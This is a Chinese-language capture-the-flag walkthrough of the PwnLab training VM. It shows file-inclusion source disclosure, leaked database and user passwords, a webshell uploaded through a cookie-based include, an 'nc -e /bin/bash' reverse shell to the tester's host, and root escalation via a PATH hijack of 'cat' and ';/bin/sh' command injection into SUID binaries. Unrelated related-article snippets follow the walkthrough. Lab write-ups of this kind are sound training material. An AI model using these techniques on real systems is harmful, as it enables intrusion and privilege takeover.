pwnlab通关流程
pwnlab通关
关于文件包含,环境变量劫持的一个靶场
信息收集
靶机ip:192.168.112.133
开放端口

根据开放的端口信息决定从80web端口入手
目录信息

在images和upload路径存在目录遍历,config.php被渲染无法查看,upload.php需要先登录才能访问,尝试先从登录login.php界面入手
渗透阶段
访问
http://192.168.112.133

点击login,路径变为
http://192.168.112.133/?page=login

再访问下login.php
http://192.168.112.133/login.php

很明显的文件包含,利用php文件流进行读取,再进行base64解码
index.php
http://192.168.112.133/?page=convert.base64-encode/resource=index

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?phpif (isset($_GET['page'])){include($_GET['page'].".php");}else{echo "Use this server to upload and share image files inside the intranet";}
?>
</center>
</body>
</html>
config.php
http://192.168.112.133/?page=convert.base64-encode/resource=config

<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
upload.php
http://192.168.112.133/?page=convert.base64-encode/resource=upload

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename = $_FILES['file']['name'];$filetype = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>
在config.php中直接拿到了mysql的用户名密码,直接连接
在user表中拿到了3个用户及密码,密码经过base64加密

解密后
kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo
有了账号密码后直接在登录页面进行登录,登录后会显示文件上传界面

发包拦截,对upload.php进行代码审计发现经过了后缀白名单,mime类型等一些校验导致无法进行后缀绕过。只能上传图片马,想通过文件包含的方式getshell,但是在之前index.php页面中的include是这样的,如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在
if (isset($_GET['page'])){include($_GET['page'].".php");}
但在index.php中发现了另一个文件包含,可以利用Cookie进行getshell
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
首先绕过检测上传图片马,得到路径

蚁剑连接,在header中设置cookie的lang字段


成功getshell
由于蚁剑是半交互式的,防止后面提权可能会用不了直接shell reverse到本机
这里采用nc工具,本机监听7777端口
nc -lvvp 7777
蚁剑窗口
nc -e /bin/bash 192.168.112.130 7777
反弹成功

进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash");'

提权阶段
当前用户为www-data,查找当前用户可提权的suid命令
find / -perm -u=s -type f 2>/dev/null

没有可以利用的,切换用户kent没找到
su kent
切换mike,不让登录
su mike

登录kane
su kane
还是查找suid命令,在kane的用户目录下找到了一个可执行文件

cd到该目录下进行查看,是一个ELF文件

strings msgmike

在msgmike中发现了一条cat语句
cat /home/mike/msg.txt
我们利用环境变量进行劫持cat
在/home/kane目录下新建cat,给予执行权限,写入反弹,更改环境变量
touch cat
chmod +x cat
echo "/bin/sh" > cat
export PATH=/home/kane:$PATH
这样执行msgmike执行到cat语句会直接反弹到更高的权限
./msgmike

继续进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash");'
在mike用户下查找可执行的suid命令,在mike用户下发现了一个msg2root的可执行文件

cd到该目录下
strings msg2root

在msg2root文件中发现了一条echo命令,%s是我们写入的字符串
/bin/echo %s >> /root/messages.txt
我们直接利用;分割反弹shell
;/bin/sh
首先运行msg2root
./msg2root

成功提权到root
cd到root目录下查看flag

相关文章:
pwnlab通关流程
pwnlab通关 关于文件包含,环境变量劫持的一个靶场 信息收集 靶机ip:192.168.112.133 开放端口 根据开放的端口信息决定从80web端口入手 目录信息 在images和upload路径存在目录遍历,config.php被渲染无法查看,upload.php需…...
面向过程与面向对象的区别与联系
目录 什么是面向过程 什么是面向对象 区别 各自的优缺点 什么是面向过程 面向过程是一种以事件为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。 什么是面向对…...
主机状态(查看资源占用情况、查看网络占用情况)
1. 查看资源占用情况 【1】可以通过top命令查看cpu、内存的使用情况,类似windows的任务管理器 默认5s刷新一次 语法:top 可 Ctrl c 退出 2.磁盘信息监控 【1】使用df命令,查看磁盘信息占用情况 语法:df [ -h ] 以更加人性化…...
代码随想录算法训练营第四十一天 | 01背包问题-二维数组滚动数组,416. 分割等和子集
一、参考资料01背包问题 二维 https://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%E8%83%8C%E5%8C%85-1.html 视频讲解:https://www.bilibili.com/video/BV1cg411g7Y6 01背包问题 一维 https://programmercarl.com/%E8%83%8C%E5…...
VMware NSX 4.1 发布 - 网络安全虚拟化平台
请访问原文链接:VMware NSX 4 - 网络安全虚拟化平台,查看最新版。原创作品,转载请保留出处。 作者主页:www.sysin.org VMware NSX 提供了一个敏捷式软件定义基础架构,用来构建云原生应用程序环境。NSX 专注于为具有异…...
计算理论 复杂度预备知识
文章目录计算理论 复杂度预备知识符号递归表达式求解通项公式主方法Akra-Bazzi 定理计算理论 复杂度预备知识 符号 f(n)o(g(n))f(n)o(g(n))f(n)o(g(n)) :∃c\exists c∃c ,当 nnn 足够大时, f(n)<cg(n)f(n)\lt cg(n)f(n)<cg(n) &#…...
二叉树——二叉搜索树中的插入操作
二叉搜索树中的插入操作 链接 给定二叉搜索树(BST)的根节点 root 和要插入树中的值 value ,将值插入二叉搜索树。 返回插入后二叉搜索树的根节点。 输入数据 保证 ,新值和原始二叉搜索树中的任意节点值都不同。 注意,…...
C# if break,if continue,if return的区别和使用
故事部分: 现在你肚子饿了,想要去: 1.吃个三菜一汤。 2.吃个蛋糕。 3.喝个奶茶。 结果,你吃饭的时候,吃到一个虫子。 你会有几种做法? 1.把有虫子这道菜拿走,继续吃下一道菜 。 2.算了ÿ…...
力扣-第二高的薪水
大家好,我是空空star,本篇带大家了解一道中等的力扣sql练习题。 文章目录前言一、题目:176. 第二高的薪水二、解题1.正确示范①提交SQL运行结果2.正确示范②提交SQL运行结果3.正确示范③提交SQL运行结果4.正确示范④提交SQL运行结果5.其他总结…...
I - 太阳轰炸(组合数学Cnk n固定)
2023河南省赛组队训练赛(二) - Virtual Judge (vjudge.net) 背景:阿塔尼斯,达拉姆的大主教,在艾尔又一次沦陷之后指挥着星灵的最后一艘方舟舰:亚顿之矛。作为艾尔星灵数千年来的智慧结晶,亚顿之…...
centos安装gitlab
更新系统 sudo yum -y update安装所需要的包 sudo yum -y install epel-release curl vim policycoreutils-python如果要安装并使用本地Postfix服务器发送通知,请安装Postfix,这里就不安装了: sudo yum -y install postfix安装后启动并启用…...
【洛谷 P1093】[NOIP2007 普及组] 奖学金 题解(结构体排序)
[NOIP2007 普及组] 奖学金 题目描述 某小学最近得到了一笔赞助,打算拿出其中一部分为学习成绩优秀的前 555 名学生发奖学金。期末,每个学生都有 333 门课的成绩:语文、数学、英语。先按总分从高到低排序,如果两个同学总分相同,再…...
【Hello Linux】进程优先级和环境变量
作者:小萌新 专栏:Linux 作者简介:大二学生 希望能和大家一起进步! 本篇博客简介:简单介绍下进程的优先级 环境变量 进程优先级环境变量进程的优先级基本概念如何查看优先级PRI与NINI值的设置范围NI值如何修改修改方式…...
日期:Date,SimpleDateFormat常见API以及包装类
一.Date类 package com.gch.d1_date;import java.util.Date;/**目标:学会使用Date类处理时间,获取时间的信息*/ public class DateDemo1 {public static void main(String[] args) {// 1.创建一个Date类的对象:代表系统此刻日期时间对象Date d new Date();System.out.println(…...
嵌入式之ubuntu终端操作与shell常用命令详解
目录 文件和目录列表 基本列表功能 显示列表长度 过滤输出列表 浏览文件系统 Linux 文件系统 遍历目录 处理文件 创建文件 复制文件 制表键自动补全 重命名文件 删除文件 处理目录 创建目录 删除目录 编辑其他常用命令与操作 Uname命令 clear命令 返回上一级命令 显…...
【Shell学习笔记】6.Shell 流程控制
前言 本章介绍Shell的流程控制。 Shell 流程控制 和 Java、PHP 等语言不一样,sh 的流程控制不可为空,如(以下为 PHP 流程控制写法): 实例 <?php if (isset($_GET["q"])) {search(q); } else {// 不做任何事情 }在 sh/bash…...
27k入职阿里测开岗那天,我哭了,这5个月付出的一切总算没有白费~
先说一下自己的个人情况,计算机专业,16年普通二本学校毕业,经历过一些失败的工作经历后,经推荐就进入了华为的测试岗,进去才知道是接了个外包项目,不太稳定的样子,可是刚毕业谁知道什么外包不外…...
服务端开发之Java备战秋招面试篇5
努力了那么多年,回头一望,几乎全是漫长的挫折和煎熬。对于大多数人的一生来说,顺风顺水只是偶尔,挫折、不堪、焦虑和迷茫才是主旋律。我们登上并非我们所选择的舞台,演出并非我们所选择的剧本。继续加油吧! 目录 1.ArrayList与LinkedList区别, 应用场景…...
有趣的 Kotlin 0x11: joinToString,你真的了解嘛?
前言 之前使用 joinToString 函数也就是用逗号连接集合元素形成字符串,也没有细看它的参数,但是今天和 ChatGPT 聊天时,发现它给我输出了诸多内容。 joinToString joinToString()是Kotlin中一个非常有用的函数,它可以将集合的元…...
代码随想录算法训练营day46 | 动态规划之背包问题 139.单词拆分
day46139.单词拆分1.确定dp数组以及下标的含义2.确定递推公式3.dp数组如何初始化4.确定遍历顺序5.举例推导dp[i]139.单词拆分 题目链接 解题思路:单词就是物品,字符串s就是背包,单词能否组成字符串s,就是问物品能不能把背包装满。…...
Linux Ext 调度器核心原理:BPF 驱动的自定义调度革命
简介 Linux 内核调度器自诞生以来,始终以通用公平调度(CFS)与硬实时调度(SCHED_DEADLINE/SCHED_FIFO)为核心,支撑服务器、桌面、嵌入式等全场景负载。但传统调度框架存在硬耦合、难扩展、定制成本极高的痛…...
从零到一:FOFA搜索引擎实战语法精解与场景化应用
1. FOFA搜索引擎:网络空间测绘的"瑞士军刀" 第一次接触FOFA时,我正为一个企业客户做资产梳理。客户自己都说不清有多少对外暴露的服务器,传统扫描工具又慢又容易被防火墙拦截。同事扔给我一个FOFA搜索语句:"domain…...
保姆级教程:用STM32+ESP8266+微信小程序,5分钟搞定Onenet数据上传与设备控制
零基础实战:STM32ESP8266微信小程序极速对接Onenet全指南 在物联网技术快速普及的今天,许多嵌入式开发者都希望快速搭建一个完整的智能设备系统。本文将带你用最简单的方式,通过STM32微控制器、ESP8266 WiFi模块和微信小程序,实现…...
Linux内核PCIe热插拔驱动开发实战:从IDT芯片到稳定运行
1. 项目概述与核心价值最近在搞一个嵌入式设备项目,需要实现PCIe设备的热插拔支持。这玩意儿在服务器、存储阵列和工业控制领域太常见了,但真要在Linux内核里把它做稳定、做可靠,里面的门道可不少。我这次折腾的,就是一个基于Linu…...
实验室新到Franka机器人?保姆级Ubuntu20.04+ROS Noetic配置避坑指南
Franka机器人开箱配置全攻略:Ubuntu 20.04与ROS Noetic深度适配指南 当实验室那台崭新的Franka Emika机械臂拆箱时,整个团队都围了上来——这台价值不菲的协作机器人即将成为我们最重要的研究伙伴。但很快我们就发现,从开箱到真正让机械臂流畅…...
clj-kondo Hook系统完全指南:自定义宏和函数的智能分析
clj-kondo Hook系统完全指南:自定义宏和函数的智能分析 【免费下载链接】clj-kondo Static analyzer and linter for Clojure code that sparks joy 项目地址: https://gitcode.com/gh_mirrors/cl/clj-kondo clj-kondo 是一款为 Clojure 代码提供静态分析和 …...
ISTA 2A-2011 (2022) 全解析|≤68kg 包装件部分模拟运输测试指南
前言ISTA 2A-2011 (2022) 属于 ISTA 2 系列部分模拟性能测试,专门面向 **≤68kg(150lb)的单个小型运输包装件 **,是电商小件、3C 数码、小家电、仪器仪表最常用的入门级包装验证标准。它结合基础测试与仿真要素,快速验…...
今日算法(依旧二叉树)
class Solution { public:TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {//递归进行,加回溯过程if(rootq||rootp||rootNULL) return root;TreeNode*leftlowestCommonAncestor(root->left,p,q);TreeNode*rightlowestCommonAncestor…...
从ok-skills项目解析技能树:设计理念、技术实现与工程实践
1. 项目概述与核心价值最近在GitHub上看到一个挺有意思的项目,叫“ok-skills”。光看这个名字,可能有点摸不着头脑,但点进去一看,发现这是一个关于“技能树”或“知识图谱”的开源项目。简单来说,它试图用一种结构化的…...
百考通AI实践报告:让实习沉淀有迹可循,成长答卷专业呈现
实习实践是连接理论学习与职场实战的桥梁,而一份逻辑清晰、内容详实的实践报告,既是对实习经历的系统复盘,也是个人成长与能力认证的重要载体。然而,许多学生在撰写报告时,常陷入思路混乱、结构松散、重点模糊的困境&a…...
